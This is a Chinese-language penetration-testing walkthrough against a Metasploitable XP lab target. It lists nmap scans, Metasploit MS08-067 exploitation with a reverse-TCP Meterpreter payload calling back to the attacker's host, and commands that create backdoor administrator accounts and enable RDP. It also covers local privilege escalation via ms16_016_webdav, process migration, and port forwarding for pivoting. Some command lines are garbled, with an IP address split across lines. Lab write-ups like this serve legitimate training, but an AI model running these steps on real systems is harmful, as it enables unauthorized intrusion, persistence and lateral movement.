0x00 Metasploitable
Metasploitable漏洞演练系统,基于ubuntu、xp操作系统,本身设计作为安全工具测试和演示常见漏洞攻击,他的作用是用来作为MSF攻击用的靶机,他是一个具有无数未打补丁漏洞与开放了无数高危端口的渗透演练系统,可以使我们进行练习。
本次测试使用xp系统的靶机,下载地址
0x01 查看详细信息
nmap -sP -T5
nmap -P1-65535 -T4
使用nmap进行探测发现,使用nmap结合脚本进行扫描测试:
nmap -sT -A --script=smb-check-vulns -P0 192
-sT 使用TCP Connect扫描
-A 是指高级操作系统探测功能,对一个特定服务进行更深的旗标和指纹攫取
--script=smb-check-vulns 调用smb-check-vulns脚本
-P0 进行更深层次的扫描,不进行主机发现.168.0.146
发现探测出MS08-067漏洞,使用Metasploit进行攻击利用。
0x02 Metasploit的利用
2.1 查找 MS08-067相关的模块
2.2 使用选中的模块并查看
set TARGET 5
2.2 设置攻击参数
show options 查看一下参数,确保无误
设置PAYLOAD(攻击载荷)
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 192.168.1.146 设置远程主机IP地址
set LHOST 192.168.1.179 设置反向连接地址为本机IP地址
set LPORT 55555 设置本机监听的TCP端口号
这个载荷在攻击成功后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址。
2.3 开始攻击,发现已经上钩;
0x03 提权
3.1 查看权限,判断是否需要进行提权
getuid
3.2 增加用户名并设置为管理员
net user zjw 123 /add
net localgroup administrators zjw /add
3.3 开启3389端口远程登录
run getgui -e (仅仅是打开远程管理)
run getgui -u hacker -p s3cr3t(打开远程管理并且创造一个新的用户名为Hacker密码为s3cr3t的帐号)
3.4 远程连接目标主机
rdesktop -f -a 16 192.168.0.146:3389
成功登陆目标主机
0x04 补充知识
4.1 拿到shell只是普通用户怎么办?
上面演示的直接就是最高权限,当然这种情况在平时渗透测试中也是比较少见的,那么我们就得进行提权了。
meterpreter > background
msf exploit(handler) > search ms16
msf exploit(handler) > use exploit/windows/local/ms16_016_webdav
msf exploit(ms16_016_webdav) > info
msf exploit(ms16_016_webdav) > show options
msf exploit(ms16_016_webdav) > set SESSION 1 # 设置会刚才我们后门连接的ID号 1
msf exploit(ms16_016_webdav) > exploit
msf exploit(ms16_016_webdav) > sessions
msf exploit(ms16_016_webdav) > sessions -i 1
meterpreter > getuid
这是发现我们怎么还是普通权限,我们进行查看进程。然后加载我们的进程号
meterpreter > ps
meterpreter > migrate + 进程号
这样已经提升为了system权限
4.2 有时候我们在公网而目标主机在内网如何登陆?
这时候就要使用端口转发来实现了,将目标主机的端口转发到我们本机。
portfwd add -l 你本机的监听端口 -r 127.0.0.1 -p 3389
执行之后所有端口3389的内网流量都会通过这个meterpreter的会话来转发到你kali的127.0.0.1的指定端口上 。
假如在这里我设置的监听端口为2222,那么我执行的就是
portfwd add -l 2222 -r 127.0.0.1 -p 3389
然后开始连接远程桌面。新建一个终端窗口,执行连接Windows远程桌面的命令就OK了。
rdesktop 127.1.1.0:2222